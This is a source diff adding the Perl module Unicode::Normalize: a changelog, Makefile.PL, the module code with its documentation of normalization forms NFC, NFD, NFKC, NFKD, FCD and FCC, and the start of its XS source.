+1.13 Mon Jul 25 21:07:49 2011
+ - tried fixing the tarball with world writable files.
+ ( http://www.perlmonks.org/?node_id=731935 )
+
+1.12 Mon May 16 23:36:07 2011
+ - removed Normalize/CompExcl.pl and coded Composition Exclusions;
+ how to load CompExcl.pl seems not good, but I'm not sure...
+
+1.11 Sun May 15 20:31:09 2011
+ - As perl 5.14.0 has removed unicore/CompositionExclusions.txt
+ from the installation, Normalize/CompExcl.pl in this distribution
+ is used instead. (see [rt.cpan.org #68106])
+
+1.10 Sun Jan 16 21:00:34 2011
+ - XSUB: reorder() and compose() treat with growing the string.
+ - XSUB: provision against UTF8_ALLOW_* flags to be undefined in future.
+ - doc: about perl 5.13.x and Unicode 6.0.0
+ - doc and comments: [perl #81876] Fix typos by Peter J. Acklam.
+
+1.07 Mon Sep 20 20:20:02 2010
+ - doc: about perl 5.12.x and Unicode 5.2.0
+ - test: prototype of normalize_partial() and cousins in proto.t.
+
+1.06 Thu Feb 11 16:19:54 2010
+ - mkheader/Pure Perl: fixed the internal _getHexArray() for perl 5.11.3
+ changes (Bug #53197).
+
+1.05 Mon Sep 28 21:43:17 2009
+ - normalize_partial() and NFX_partial(). { NFX =~ /^NFK?[CD]\z/ }
+ - added partial1.t for NFX_partial().
+ - added partial2.t for normalize_partial().
+
+1.04 Wed Sep 23 22:32:57 2009
+ - doc: splitOnLastStarter() since 0.24 is now documented.
+ - test: some new tests are added to split.t.
+
+1.03 Sun Mar 29 12:56:23 2009
+ - mkheader: check if no composition needs growing the string.
+ - Makefile.PL: a tweak
+
+1.02 Tue Jun 5 22:46:45 2007
+ - XSUB: mkheader, _U_stringify() - avoid unpack('C*') on unicode.
+ - test: short.t removed - pure perl is not appropriate for test of
+ unicode edge cases.
+
+1.01 Tue Jun 13 22:01:53 2006
+ - XSUB: sv_setpvn() needs cast to (char*).
+ - XSUB: avoid double FETCH for tied scalar variables.
+ - added tie.t.
+
+1.00 Thu May 25 20:35:06 2006
+ - Pure Perl: compose($not_canonically_reordered) works like that in XSUB,
+ where an intervening character with higher combining class blocks
+ the composition. (This change doesn't affect any normalization forms.)
+ - XSUB: NFD(), NFC(), NFKD(), NFC(), and FCC() are now in XSUB, then
+ internal subroutine calls are avoided.
+ - The functions isComp_Ex(), isNFD_NO(), isNFC_NO(), isNFC_MAYBE(),
+ isNFKD_NO(), isNFKC_NO(), and isNFKC_MAYBE() are documented.
+ - Tests are more amplified and documentations are more clarified.
+ - Makefile.PL: Change 26295 is incorporated.
+
+0.32 Tue Apr 5 22:47:09 2005
+ - Some literal and grammatical errors in POD are fixed.
+
+0.31 Tue Apr 5 21:43:20 2005
+ - CAVEATS in POD is added.
+ - Some test cases from Unicode Public Review Issue #29
+ (Normalization Issue) are added to norm.t and test.t.
+ - do 'mkheader' returns true so that Makefile.PL will catch error.
+ - META.yml is added.
+
+0.30 Sun May 2 14:35:00 2004
+ - XSUB: (perl 5.8.1 or later) improved utf8 upgrade of non-POK
+ (private POK) values like tied scalars, overloaded objects, etc.
+
+0.28 Sat Nov 22 23:46:24 2003
+ - XSUB: even if string contains a malformed, "short" Unicode character,
+ decompose() and reorder() will be safe. Garbage will be no longer added.
+ - added null.t and short.t.
+ - now truly added illegal.t (in 0.27, forgot to change MANIFEST).
+
+0.27 Sun Nov 16 13:16:21 2003
+ - Illegal code points (surrogate and noncharacter) will be allowed
+ (keep your code with <no warnings 'utf8';>);
+ but porting is not successful in the case of ((Pure Perl) and
+ (Perl 5.7.3 or before)).
+ - added illegal.t.
+
+0.26 Sat Nov 15 21:52:30 2003
+ - doc fix: s/FCD(?= is unique)/FCC/;
+
+0.25 Mon Oct 6 22:26:03 2003
+ - added form.t and proto.t.
+
+0.24 Sat Oct 4 17:57:10 2003
+ - supports FCD and FCC (UTN #5):
+ FCD(), normalize('FCD'), checkFCD(), check('FCD');
+ FCC(), normalize('FCC'), checkFCC(), check('FCC').
+ - changed INSTALLATION (cf. README).
+ * Initial state of the distribution is changed to XSUB. To build
+ pure Perl, type <perl disableXS> before <perl Makefile.PL>.
+ * The purePerl-XSUB converter is now provided as two perl
+ script files, named "enableXS" and "disableXS".
+ (no longer <perl Makefile.PL xs> and <perl Makefile.PL noxs>.)
+ * simplified Makefile.PL.
+ - added fcdc.t for FCD() and FCC().
+ - added split.t for splitOnLastStarter(): an undocumented function.
+
+0.23 Sat Jun 28 20:38:10 2003
+ - bug fix: \0-terminate in compose() in XS.
+ - tweak in pure perl: forced $codepoint to numeric (i.e. "+0065" to 65)
+ - tweak of POD and README.
+
+0.22 Mon Jun 09 22:23:10 2003
+ - internal tweak (again): pack_U() and unpack_U().
+
+0.21 Thu Apr 02 23:12:54 2003
+ - internal tweak: for (?un)pack 'U'.
+
+0.20 Sun Mar 02 13:29:25 2003
+ - decompose Hangul syllables in a decomposition mapping.
+
+0.18 ... unreleased
+ - synchronization with bleadperl.
+ - Change 16262: by sadahiro
+
+0.17 Sun Apr 28 23:13:32 2002
+ - now normalize('NFC',$1) should work.
+ - Some croak()'s are added in mkheader.
+ - synchronization with bleadperl.
+ - Change 15596: by sadahiro
+ - Change 16136: by pudge
+
+0.16 Thu Mar 21 13:36:14 2002
+ - synchronization with bleadperl.
+ - Change 15318: by jhi
+ - Change 15319: by jhi
+
+0.15 Tue Mar 19 22:04:07 2002
+ - Quick check is implemented.
+ - decompose(), reorder(), and compose() are documented.
+ - The Non-XS version is also independent of Lingua::KO::Hangul::Util.
+
+0.14 Sat Feb 02 20:40:14 2002
+ - synchronization with bleadperl.
+ - Change 14128: by Arthur
+ - Change 14129: by jhi
+ - Change 14156: by sadahiro
+ - Change 14199: by Nikola Knezevic
+ - Change 14308: by Benjamin Goldberg
+ - Change 14370: by jhi
+
+0.13 Sat Dec 01 11:42:43 2001
+ - modify Makefile.PL to enable rebuild.
+ (This problem is pointed out by David Dyck.)
+ - Change 13388: by Jarkko Hietaniemi.
+
+0.12 Wed Nov 29 22:49:02 2001
+ - documentation in .pod is appended to .pm and the .pod is removed.
+ (only POD in NON-XS refers to Lingua::KO::Hangul::Util.)
+
+0.11 Sat Nov 24 10:18:38 2001
+ - documentation of some functions for character data.
+ - Change 12909: by Jarkko Hietaniemi.
+ - Change 13228: by Peter Prymmer.
+
+0.10 Sat Nov 03 16:30:20 2001
+ - The XS version is now independent of Lingua::KO::Hangul::Util.
+ (though the Non-XS version still requires that.)
+
+0.09 Fri Nov 02 22:39:30 2001
+ - remove pTHX_.
+
+0.08 Thu Nov 01 23:20:42 2001
+ - use Lingua::KO::Hangul::Util 0.06 and remove "hangul.h".
+
+0.07 Wed Oct 31 22:06:42 2001
+ - modify internal. decompose() - reorder() - compose().
+
+0.06 Sun Oct 28 14:28:46 2001
+ - an XS version.
+ (but the Non-XS version is also supported.)
+
+0.05 Wed Oct 10 22:02:15 2001 (not released)
+ - %Compos contains unnecessary singletons
+ (though it did not cause any bug, only useless).
+ They will not be stored.
+
+0.04 Wed Aug 15 19:02:41 2001
+ - fix: NFD("") and NFKD("") must return "", not but undef.
+
+0.03 Fri Aug 10 22:44:18 2001
+ - rename the module name to Unicode::Normalize.
+ - normalize takes two arguments.
+
+0.02 Thu Aug 9 22:56:36 2001
+ - add function normalize
+
+0.01 Mon Aug 6 21:45:11 2001
+ - original version; created by h2xs 1.21 with options
+ -A -X -n Text::Unicode::Normalize
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/Makefile.PL b/gnu/usr.bin/perl/dist/Unicode-Normalize/Makefile.PL
new file mode 100644
index 00000000000..18bc2e2d28e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/Makefile.PL
@@ -0,0 +1,55 @@
+require 5.006001;
+use ExtUtils::MakeMaker;
+
+my $clean = {};
+
+my $mm_ver = ExtUtils::MakeMaker->VERSION;
+
+if (-f "Normalize.xs") {
+ print STDERR "Making header files for XS...\n";
+
+ do './mkheader' or die $@ || "mkheader: $!";
+
+ $clean = { FILES => 'unfcan.h unfcmb.h unfcmp.h unfcpt.h unfexc.h' };
+}
+
+WriteMakefile(
+ ($mm_ver < 6.58)
+ ? ('AUTHOR' => 'SADAHIRO Tomoyuki <SADAHIRO@cpan.org>, Karl Williamson <khw@cpan.org>')
+ : ('AUTHOR' => [
+ 'SADAHIRO Tomoyuki <SADAHIRO@cpan.org>',
+ 'Karl Williamson <khw@cpan.org>',
+ ]),
+ 'ABSTRACT' => 'Unicode Normalization Forms',
+ 'INSTALLDIRS' => ($] >= 5.007002 && $] < 5.011) ? 'perl' : 'site',
+ # see perl5110delta, @INC reorganization
+ 'LICENSE' => 'perl',
+ 'NAME' => 'Unicode::Normalize',
+ 'VERSION_FROM' => 'Normalize.pm', # finds $VERSION
+ 'clean' => $clean,
+ 'depend' => { 'Normalize.o' => '$(H_FILES)' },
+ 'PREREQ_PM' => {
+ Carp => 0,
+ constant => 0,
+ DynaLoader => 0,
+ Exporter => 0,
+ File::Spec => 0,
+ strict => 0,
+ warnings => 0,
+ SelectSaver => 0,
+ },
+ ($mm_ver < 6.48 ? () : MIN_PERL_VERSION => 5.6.0),
+ ($mm_ver < 6.46 ? () : (META_MERGE => {
+ 'meta-spec' => { version => 2 },
+ resources => {
+ repository => {
+ url => 'https://github.com/khwilliamson/Unicode-Normalize.git',
+ web => 'https://github.com/khwilliamson/Unicode-Normalize',
+ type => 'git',
+ },
+ bugtracker => {
+ web => 'https://rt.cpan.org/Public/Dist/Display.html?Name=Unicode-Normalize',
+ },
+ },
+ })),
+);
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.pm b/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.pm
new file mode 100644
index 00000000000..adf3db50d8b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.pm
@@ -0,0 +1,635 @@
+package Unicode::Normalize;
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ die "Unicode::Normalize cannot stringify a Unicode code point\n";
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ die "Unicode::Normalize cannot get Unicode code point\n";
+ }
+}
+
+use 5.006;
+use strict;
+use warnings;
+use Carp;
+
+no warnings 'utf8';
+
+our $VERSION = '1.26';
+our $PACKAGE = __PACKAGE__;
+
+our @EXPORT = qw( NFC NFD NFKC NFKD );
+our @EXPORT_OK = qw(
+ normalize decompose reorder compose
+ checkNFD checkNFKD checkNFC checkNFKC check
+ getCanon getCompat getComposite getCombinClass
+ isExclusion isSingleton isNonStDecomp isComp2nd isComp_Ex
+ isNFD_NO isNFC_NO isNFC_MAYBE isNFKD_NO isNFKC_NO isNFKC_MAYBE
+ FCD checkFCD FCC checkFCC composeContiguous splitOnLastStarter
+ normalize_partial NFC_partial NFD_partial NFKC_partial NFKD_partial
+);
+our %EXPORT_TAGS = (
+ all => [ @EXPORT, @EXPORT_OK ],
+ normalize => [ @EXPORT, qw/normalize decompose reorder compose/ ],
+ check => [ qw/checkNFD checkNFKD checkNFC checkNFKC check/ ],
+ fast => [ qw/FCD checkFCD FCC checkFCC composeContiguous/ ],
+);
+
+##
+## utilities for tests
+##
+
+sub pack_U {
+ return pack('U*', @_);
+}
+
+sub unpack_U {
+
+ # The empty pack returns an empty UTF-8 string, so the effect is to force
+ # the shifted parameter into being UTF-8. This allows this to work on
+ # Perl 5.6, where there is no utf8::upgrade().
+ return unpack('U*', shift(@_).pack('U*'));
+}
+
+require Exporter;
+
+##### The above part is common to XS and PP #####
+
+our @ISA = qw(Exporter);
+use XSLoader ();
+XSLoader::load( 'Unicode::Normalize', $VERSION );
+
+##### The below part is common to XS and PP #####
+
+##
+## normalize
+##
+
+sub FCD ($) {
+ my $str = shift;
+ return checkFCD($str) ? $str : NFD($str);
+}
+
+our %formNorm = (
+ NFC => \&NFC, C => \&NFC,
+ NFD => \&NFD, D => \&NFD,
+ NFKC => \&NFKC, KC => \&NFKC,
+ NFKD => \&NFKD, KD => \&NFKD,
+ FCD => \&FCD, FCC => \&FCC,
+);
+
+sub normalize($$)
+{
+ my $form = shift;
+ my $str = shift;
+ if (exists $formNorm{$form}) {
+ return $formNorm{$form}->($str);
+ }
+ croak($PACKAGE."::normalize: invalid form name: $form");
+}
+
+##
+## partial
+##
+
+sub normalize_partial ($$) {
+ if (exists $formNorm{$_[0]}) {
+ my $n = normalize($_[0], $_[1]);
+ my($p, $u) = splitOnLastStarter($n);
+ $_[1] = $u;
+ return $p;
+ }
+ croak($PACKAGE."::normalize_partial: invalid form name: $_[0]");
+}
+
+sub NFD_partial ($) { return normalize_partial('NFD', $_[0]) }
+sub NFC_partial ($) { return normalize_partial('NFC', $_[0]) }
+sub NFKD_partial($) { return normalize_partial('NFKD',$_[0]) }
+sub NFKC_partial($) { return normalize_partial('NFKC',$_[0]) }
+
+##
+## check
+##
+
+our %formCheck = (
+ NFC => \&checkNFC, C => \&checkNFC,
+ NFD => \&checkNFD, D => \&checkNFD,
+ NFKC => \&checkNFKC, KC => \&checkNFKC,
+ NFKD => \&checkNFKD, KD => \&checkNFKD,
+ FCD => \&checkFCD, FCC => \&checkFCC,
+);
+
+sub check($$)
+{
+ my $form = shift;
+ my $str = shift;
+ if (exists $formCheck{$form}) {
+ return $formCheck{$form}->($str);
+ }
+ croak($PACKAGE."::check: invalid form name: $form");
+}
+
+1;
+__END__
+
+=head1 NAME
+
+Unicode::Normalize - Unicode Normalization Forms
+
+=head1 SYNOPSIS
+
+(1) using function names exported by default:
+
+ use Unicode::Normalize;
+
+ $NFD_string = NFD($string); # Normalization Form D
+ $NFC_string = NFC($string); # Normalization Form C
+ $NFKD_string = NFKD($string); # Normalization Form KD
+ $NFKC_string = NFKC($string); # Normalization Form KC
+
+(2) using function names exported on request:
+
+ use Unicode::Normalize 'normalize';
+
+ $NFD_string = normalize('D', $string); # Normalization Form D
+ $NFC_string = normalize('C', $string); # Normalization Form C
+ $NFKD_string = normalize('KD', $string); # Normalization Form KD
+ $NFKC_string = normalize('KC', $string); # Normalization Form KC
+
+=head1 DESCRIPTION
+
+Parameters:
+
+C<$string> is used as a string under character semantics (see L<perlunicode>).
+
+C<$code_point> should be an unsigned integer representing a Unicode code point.
+
+Note: Between XSUB and pure Perl, there is an incompatibility
+about the interpretation of C<$code_point> as a decimal number.
+XSUB converts C<$code_point> to an unsigned integer, but pure Perl does not.
+Do not use a floating point nor a negative sign in C<$code_point>.
+
+=head2 Normalization Forms
+
+=over 4
+
+=item C<$NFD_string = NFD($string)>
+
+It returns the Normalization Form D (formed by canonical decomposition).
+
+=item C<$NFC_string = NFC($string)>
+
+It returns the Normalization Form C (formed by canonical decomposition
+followed by canonical composition).
+
+=item C<$NFKD_string = NFKD($string)>
+
+It returns the Normalization Form KD (formed by compatibility decomposition).
+
+=item C<$NFKC_string = NFKC($string)>
+
+It returns the Normalization Form KC (formed by compatibility decomposition
+followed by B<canonical> composition).
+
+=item C<$FCD_string = FCD($string)>
+
+If the given string is in FCD ("Fast C or D" form; cf. UTN #5),
+it returns the string without modification; otherwise it returns an FCD string.
+
+Note: FCD is not always unique, then plural forms may be equivalent
+each other. C<FCD()> will return one of these equivalent forms.
+
+=item C<$FCC_string = FCC($string)>
+
+It returns the FCC form ("Fast C Contiguous"; cf. UTN #5).
+
+Note: FCC is unique, as well as four normalization forms (NF*).
+
+=item C<$normalized_string = normalize($form_name, $string)>
+
+It returns the normalization form of C<$form_name>.
+
+As C<$form_name>, one of the following names must be given.
+
+ 'C' or 'NFC' for Normalization Form C (UAX #15)
+ 'D' or 'NFD' for Normalization Form D (UAX #15)
+ 'KC' or 'NFKC' for Normalization Form KC (UAX #15)
+ 'KD' or 'NFKD' for Normalization Form KD (UAX #15)
+
+ 'FCD' for "Fast C or D" Form (UTN #5)
+ 'FCC' for "Fast C Contiguous" (UTN #5)
+
+=back
+
+=head2 Decomposition and Composition
+
+=over 4
+
+=item C<$decomposed_string = decompose($string [, $useCompatMapping])>
+
+It returns the concatenation of the decomposition of each character
+in the string.
+
+If the second parameter (a boolean) is omitted or false,
+the decomposition is canonical decomposition;
+if the second parameter (a boolean) is true,
+the decomposition is compatibility decomposition.
+
+The string returned is not always in NFD/NFKD. Reordering may be required.
+
+ $NFD_string = reorder(decompose($string)); # eq. to NFD()
+ $NFKD_string = reorder(decompose($string, TRUE)); # eq. to NFKD()
+
+=item C<$reordered_string = reorder($string)>
+
+It returns the result of reordering the combining characters
+according to Canonical Ordering Behavior.
+
+For example, when you have a list of NFD/NFKD strings,
+you can get the concatenated NFD/NFKD string from them, by saying
+
+ $concat_NFD = reorder(join '', @NFD_strings);
+ $concat_NFKD = reorder(join '', @NFKD_strings);
+
+=item C<$composed_string = compose($string)>
+
+It returns the result of canonical composition
+without applying any decomposition.
+
+For example, when you have a NFD/NFKD string,
+you can get its NFC/NFKC string, by saying
+
+ $NFC_string = compose($NFD_string);
+ $NFKC_string = compose($NFKD_string);
+
+=item C<($processed, $unprocessed) = splitOnLastStarter($normalized)>
+
+It returns two strings: the first one, C<$processed>, is a part
+before the last starter, and the second one, C<$unprocessed> is
+another part after the first part. A starter is a character having
+a combining class of zero (see UAX #15).
+
+Note that C<$processed> may be empty (when C<$normalized> contains no
+starter or starts with the last starter), and then C<$unprocessed>
+should be equal to the entire C<$normalized>.
+
+When you have a C<$normalized> string and an C<$unnormalized> string
+following it, a simple concatenation is wrong:
+
+ $concat = $normalized . normalize($form, $unnormalized); # wrong!
+
+Instead of it, do like this:
+
+ ($processed, $unprocessed) = splitOnLastStarter($normalized);
+ $concat = $processed . normalize($form,$unprocessed.$unnormalized);
+
+C<splitOnLastStarter()> should be called with a pre-normalized parameter
+C<$normalized>, that is in the same form as C<$form> you want.
+
+If you have an array of C<@string> that should be concatenated and then
+normalized, you can do like this:
+
+ my $result = "";
+ my $unproc = "";
+ foreach my $str (@string) {
+ $unproc .= $str;
+ my $n = normalize($form, $unproc);
+ my($p, $u) = splitOnLastStarter($n);
+ $result .= $p;
+ $unproc = $u;
+ }
+ $result .= $unproc;
+ # instead of normalize($form, join('', @string))
+
+=item C<$processed = normalize_partial($form, $unprocessed)>
+
+A wrapper for the combination of C<normalize()> and C<splitOnLastStarter()>.
+Note that C<$unprocessed> will be modified as a side-effect.
+
+If you have an array of C<@string> that should be concatenated and then
+normalized, you can do like this:
+
+ my $result = "";
+ my $unproc = "";
+ foreach my $str (@string) {
+ $unproc .= $str;
+ $result .= normalize_partial($form, $unproc);
+ }
+ $result .= $unproc;
+ # instead of normalize($form, join('', @string))
+
+=item C<$processed = NFD_partial($unprocessed)>
+
+It does like C<normalize_partial('NFD', $unprocessed)>.
+Note that C<$unprocessed> will be modified as a side-effect.
+
+=item C<$processed = NFC_partial($unprocessed)>
+
+It does like C<normalize_partial('NFC', $unprocessed)>.
+Note that C<$unprocessed> will be modified as a side-effect.
+
+=item C<$processed = NFKD_partial($unprocessed)>
+
+It does like C<normalize_partial('NFKD', $unprocessed)>.
+Note that C<$unprocessed> will be modified as a side-effect.
+
+=item C<$processed = NFKC_partial($unprocessed)>
+
+It does like C<normalize_partial('NFKC', $unprocessed)>.
+Note that C<$unprocessed> will be modified as a side-effect.
+
+=back
+
+=head2 Quick Check
+
+(see Annex 8, UAX #15; and F<DerivedNormalizationProps.txt>)
+
+The following functions check whether the string is in that normalization form.
+
+The result returned will be one of the following:
+
+ YES The string is in that normalization form.
+ NO The string is not in that normalization form.
+ MAYBE Dubious. Maybe yes, maybe no.
+
+=over 4
+
+=item C<$result = checkNFD($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>.
+
+=item C<$result = checkNFC($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>;
+C<undef> if C<MAYBE>.
+
+=item C<$result = checkNFKD($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>.
+
+=item C<$result = checkNFKC($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>;
+C<undef> if C<MAYBE>.
+
+=item C<$result = checkFCD($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>.
+
+=item C<$result = checkFCC($string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>;
+C<undef> if C<MAYBE>.
+
+Note: If a string is not in FCD, it must not be in FCC.
+So C<checkFCC($not_FCD_string)> should return C<NO>.
+
+=item C<$result = check($form_name, $string)>
+
+It returns true (C<1>) if C<YES>; false (C<empty string>) if C<NO>;
+C<undef> if C<MAYBE>.
+
+As C<$form_name>, one of the following names must be given.
+
+ 'C' or 'NFC' for Normalization Form C (UAX #15)
+ 'D' or 'NFD' for Normalization Form D (UAX #15)
+ 'KC' or 'NFKC' for Normalization Form KC (UAX #15)
+ 'KD' or 'NFKD' for Normalization Form KD (UAX #15)
+
+ 'FCD' for "Fast C or D" Form (UTN #5)
+ 'FCC' for "Fast C Contiguous" (UTN #5)
+
+=back
+
+B<Note>
+
+In the cases of NFD, NFKD, and FCD, the answer must be
+either C<YES> or C<NO>. The answer C<MAYBE> may be returned
+in the cases of NFC, NFKC, and FCC.
+
+A C<MAYBE> string should contain at least one combining character
+or the like. For example, C<COMBINING ACUTE ACCENT> has
+the MAYBE_NFC/MAYBE_NFKC property.
+
+Both C<checkNFC("A\N{COMBINING ACUTE ACCENT}")>
+and C<checkNFC("B\N{COMBINING ACUTE ACCENT}")> will return C<MAYBE>.
+C<"A\N{COMBINING ACUTE ACCENT}"> is not in NFC
+(its NFC is C<"\N{LATIN CAPITAL LETTER A WITH ACUTE}">),
+while C<"B\N{COMBINING ACUTE ACCENT}"> is in NFC.
+
+If you want to check exactly, compare the string with its NFC/NFKC/FCC.
+
+ if ($string eq NFC($string)) {
+ # $string is exactly normalized in NFC;
+ } else {
+ # $string is not normalized in NFC;
+ }
+
+ if ($string eq NFKC($string)) {
+ # $string is exactly normalized in NFKC;
+ } else {
+ # $string is not normalized in NFKC;
+ }
+
+=head2 Character Data
+
+These functions are interface of character data used internally.
+If you want only to get Unicode normalization forms, you don't need
+call them yourself.
+
+=over 4
+
+=item C<$canonical_decomposition = getCanon($code_point)>
+
+If the character is canonically decomposable (including Hangul Syllables),
+it returns the (full) canonical decomposition as a string.
+Otherwise it returns C<undef>.
+
+B<Note:> According to the Unicode standard, the canonical decomposition
+of the character that is not canonically decomposable is same as
+the character itself.
+
+=item C<$compatibility_decomposition = getCompat($code_point)>
+
+If the character is compatibility decomposable (including Hangul Syllables),
+it returns the (full) compatibility decomposition as a string.
+Otherwise it returns C<undef>.
+
+B<Note:> According to the Unicode standard, the compatibility decomposition
+of the character that is not compatibility decomposable is same as
+the character itself.
+
+=item C<$code_point_composite = getComposite($code_point_here, $code_point_next)>
+
+If two characters here and next (as code points) are composable
+(including Hangul Jamo/Syllables and Composition Exclusions),
+it returns the code point of the composite.
+
+If they are not composable, it returns C<undef>.
+
+=item C<$combining_class = getCombinClass($code_point)>
+
+It returns the combining class (as an integer) of the character.
+
+=item C<$may_be_composed_with_prev_char = isComp2nd($code_point)>
+
+It returns a boolean whether the character of the specified codepoint
+may be composed with the previous one in a certain composition
+(including Hangul Compositions, but excluding
+Composition Exclusions and Non-Starter Decompositions).
+
+=item C<$is_exclusion = isExclusion($code_point)>
+
+It returns a boolean whether the code point is a composition exclusion.
+
+=item C<$is_singleton = isSingleton($code_point)>
+
+It returns a boolean whether the code point is a singleton
+
+=item C<$is_non_starter_decomposition = isNonStDecomp($code_point)>
+
+It returns a boolean whether the code point has Non-Starter Decomposition.
+
+=item C<$is_Full_Composition_Exclusion = isComp_Ex($code_point)>
+
+It returns a boolean of the derived property Comp_Ex
+(Full_Composition_Exclusion). This property is generated from
+Composition Exclusions + Singletons + Non-Starter Decompositions.
+
+=item C<$NFD_is_NO = isNFD_NO($code_point)>
+
+It returns a boolean of the derived property NFD_NO
+(NFD_Quick_Check=No).
+
+=item C<$NFC_is_NO = isNFC_NO($code_point)>
+
+It returns a boolean of the derived property NFC_NO
+(NFC_Quick_Check=No).
+
+=item C<$NFC_is_MAYBE = isNFC_MAYBE($code_point)>
+
+It returns a boolean of the derived property NFC_MAYBE
+(NFC_Quick_Check=Maybe).
+
+=item C<$NFKD_is_NO = isNFKD_NO($code_point)>
+
+It returns a boolean of the derived property NFKD_NO
+(NFKD_Quick_Check=No).
+
+=item C<$NFKC_is_NO = isNFKC_NO($code_point)>
+
+It returns a boolean of the derived property NFKC_NO
+(NFKC_Quick_Check=No).
+
+=item C<$NFKC_is_MAYBE = isNFKC_MAYBE($code_point)>
+
+It returns a boolean of the derived property NFKC_MAYBE
+(NFKC_Quick_Check=Maybe).
+
+=back
+
+=head1 EXPORT
+
+C<NFC>, C<NFD>, C<NFKC>, C<NFKD>: by default.
+
+C<normalize> and other some functions: on request.
+
+=head1 CAVEATS
+
+=over 4
+
+=item Perl's version vs. Unicode version
+
+Since this module refers to perl core's Unicode database in the directory
+F</lib/unicore> (or formerly F</lib/unicode>), the Unicode version of
+normalization implemented by this module depends on what has been
+compiled into your perl. The following table lists the default Unicode
+version that comes with various perl versions. (It is possible to change
+the Unicode version in any perl version to be any earlier Unicode version,
+so one could cause Unicode 3.2 to be used in any perl version starting with
+5.8.0. Read F<C<$Config{privlib}>/unicore/README.perl> for details.
+
+ perl's version implemented Unicode version
+ 5.6.1 3.0.1
+ 5.7.2 3.1.0
+ 5.7.3 3.1.1 (normalization is same as 3.1.0)
+ 5.8.0 3.2.0
+ 5.8.1-5.8.3 4.0.0
+ 5.8.4-5.8.6 4.0.1 (normalization is same as 4.0.0)
+ 5.8.7-5.8.8 4.1.0
+ 5.10.0 5.0.0
+ 5.8.9, 5.10.1 5.1.0
+ 5.12.x 5.2.0
+ 5.14.x 6.0.0
+ 5.16.x 6.1.0
+ 5.18.x 6.2.0
+ 5.20.x 6.3.0
+ 5.22.x 7.0.0
+
+=item Correction of decomposition mapping
+
+In older Unicode versions, a small number of characters (all of which are
+CJK compatibility ideographs as far as they have been found) may have
+an erroneous decomposition mapping (see F<NormalizationCorrections.txt>).
+Anyhow, this module will neither refer to F<NormalizationCorrections.txt>
+nor provide any specific version of normalization. Therefore this module
+running on an older perl with an older Unicode database may use
+the erroneous decomposition mapping blindly conforming to the Unicode database.
+
+=item Revised definition of canonical composition
+
+In Unicode 4.1.0, the definition D2 of canonical composition (which
+affects NFC and NFKC) has been changed (see Public Review Issue #29
+and recent UAX #15). This module has used the newer definition
+since the version 0.07 (Oct 31, 2001).
+This module will not support the normalization according to the older
+definition, even if the Unicode version implemented by perl is
+lower than 4.1.0.
+
+=back
+
+=head1 AUTHOR
+
+SADAHIRO Tomoyuki <SADAHIRO@cpan.org>
+
+Currently maintained by <perl5-porters@perl.org>
+
+Copyright(C) 2001-2012, SADAHIRO Tomoyuki. Japan. All rights reserved.
+
+=head1 LICENSE
+
+This module is free software; you can redistribute it
+and/or modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+=over 4
+
+=item http://www.unicode.org/reports/tr15/
+
+Unicode Normalization Forms - UAX #15
+
+=item http://www.unicode.org/Public/UNIDATA/CompositionExclusions.txt
+
+Composition Exclusion Table
+
+=item http://www.unicode.org/Public/UNIDATA/DerivedNormalizationProps.txt
+
+Derived Normalization Properties
+
+=item http://www.unicode.org/Public/UNIDATA/NormalizationCorrections.txt
+
+Normalization Corrections
+
+=item http://www.unicode.org/review/pr-29.html
+
+Public Review Issue #29: Normalization Issue
+
+=item http://www.unicode.org/notes/tn5/
+
+Canonical Equivalence in Applications - UTN #5
+
+=back
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.xs b/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.xs
new file mode 100644
index 00000000000..4acff7fe490
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.xs
@@ -0,0 +1,925 @@
+
+#define PERL_NO_GET_CONTEXT /* we want efficiency */
+
+/* private functions which need pTHX_ and aTHX_
+ pv_cat_decompHangul
+ sv_2pvunicode
+ pv_utf8_decompose
+ pv_utf8_reorder
+ pv_utf8_compose
+*/
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+/* These 5 files are prepared by mkheader */
+#include "unfcmb.h"
+#include "unfcan.h"
+#include "unfcpt.h"
+#include "unfcmp.h"
+#include "unfexc.h"
+
+/* The generated normalization tables since v5.20 are in native character set
+ * terms. Prior to that, they were in Unicode terms. So we use 'uvchr' for
+ * later perls, and redefine that to be 'uvuni' for earlier ones */
+#if PERL_VERSION < 20
+# undef uvchr_to_utf8
+# ifdef uvuni_to_utf8
+# define uvchr_to_utf8 uvuni_to_utf8
+# else /* Perl 5.6.1 */
+# define uvchr_to_utf8 uv_to_utf8
+# endif
+
+# undef utf8n_to_uvchr
+# ifdef utf8n_to_uvuni
+# define utf8n_to_uvchr utf8n_to_uvuni
+# else /* Perl 5.6.1 */
+# define utf8n_to_uvchr utf8_to_uv
+# endif
+#endif
+
+/* UTF8_ALLOW_BOM is used before Perl 5.8.0 */
+#ifndef UTF8_ALLOW_BOM
+#define UTF8_ALLOW_BOM (0)
+#endif /* UTF8_ALLOW_BOM */
+
+#ifndef UTF8_ALLOW_SURROGATE
+#define UTF8_ALLOW_SURROGATE (0)
+#endif /* UTF8_ALLOW_SURROGATE */
+
+#ifndef UTF8_ALLOW_FE_FF
+#define UTF8_ALLOW_FE_FF (0)
+#endif /* UTF8_ALLOW_FE_FF */
+
+#ifndef UTF8_ALLOW_FFFF
+#define UTF8_ALLOW_FFFF (0)
+#endif /* UTF8_ALLOW_FFFF */
+
+#ifndef PERL_UNUSED_VAR
+# define PERL_UNUSED_VAR(x) ((void)sizeof(x))
+#endif
+
